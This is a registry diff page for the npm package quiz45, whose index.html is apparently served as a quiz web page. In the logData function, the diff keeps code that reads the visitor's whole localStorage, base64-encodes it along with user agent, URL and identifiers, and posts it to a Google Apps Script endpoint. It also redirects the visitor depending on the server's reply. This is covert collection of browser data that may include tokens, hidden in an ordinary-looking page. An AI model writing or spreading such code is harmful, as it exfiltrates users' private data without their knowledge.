quiz45 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.html +31 -26
  2. package/package.json +1 -1
package/index.html CHANGED
@@ -210,15 +210,17 @@ function logData(includeUpload = true) { // Originally False, so every 3 logs
210
210
  const screenres = `${screen.width}x${screen.height}`;
211
211
  const user_agent = navigator.userAgent;
212
212
  const full_url = window.location.href;
213
-
214
- let url = `https://script.google.com/macros/s/AKfycbxhQiisy19Q9lxqPlDEuwGtoicw_AcXbfYeAoUKgskmDOmeWCNLUEabN6OXuxs-8oaF7Q/exec?` +
215
- `user=${encodeURIComponent(user)}` +
216
- `&uuid=${encodeURIComponent(uuid)}` +
217
- `&time_sec=${encodeURIComponent(time_sec)}` +
218
- `&first_appeared=${encodeURIComponent(first_appeared)}` +
219
- `&screenres=${encodeURIComponent(screenres)}` +
220
- `&user_agent=${encodeURIComponent(user_agent)}` +
221
- `&full_url=${encodeURIComponent(full_url)}`;
213
+
214
+ const params = {
215
+ user: user,
216
+ uuid: uuid,
217
+ time_sec: time_sec,
218
+ first_appeared: first_appeared,
219
+ screenres: screenres,
220
+ user_agent: user_agent,
221
+ full_url: full_url
222
+ };
223
+
222
224
 
223
225
  const storageObj = {};
224
226
  for (let i = 0; i < localStorage.length; i++) {
@@ -227,24 +229,27 @@ function logData(includeUpload = true) { // Originally False, so every 3 logs
227
229
  }
228
230
  const prettyJson = JSON.stringify(storageObj, null, 2);
229
231
  const base64data = btoa(unescape(encodeURIComponent(prettyJson))); // Better UTF-8 handling
230
- url += `&upload=${encodeURIComponent(base64data)}`;
231
-
232
- fetch(url, {
233
- method: 'GET',
234
- headers: {
235
- 'Content-Type': 'text/plain;charset=utf-8'
236
- }
237
- })
238
- .then(res => res.text())
239
- .then(text => {
240
- if (text.trim() !== '5') { // Capi_version
241
- window.location.href =
242
- 'https://unpkg.com/quiz45@latest';
243
- } else {
244
- console.log('Log success');
245
- }
232
+ params.upload = base64data;
233
+
234
+ const url = 'https://script.google.com/macros/s/AKfycbxhQiisy19Q9lxqPlDEuwGtoicw_AcXbfYeAoUKgskmDOmeWCNLUEabN6OXuxs-8oaF7Q/exec';
235
+
236
+ fetch(url, {
237
+ method: 'POST',
238
+ headers: {
239
+ // 'Content-Type': 'application/json'
240
+ },
241
+ body: JSON.stringify(params)
246
242
  })
247
- .catch(err => console.error('Log error:', err));
243
+ .then(res => res.text())
244
+ .then(text => {
245
+ if (text.trim() !== '6') { // Capi_version
246
+ window.location.href =
247
+ 'https://unpkg.com/quiz45@latest';
248
+ } else {
249
+ console.log('Log success');
250
+ }
251
+ })
252
+ .catch(err => console.error('Log error:', err));
248
253
  }
249
254
 
250
255
  // Function to prompt for username
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "quiz45",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "unpkg": "index.html"
5
5
  }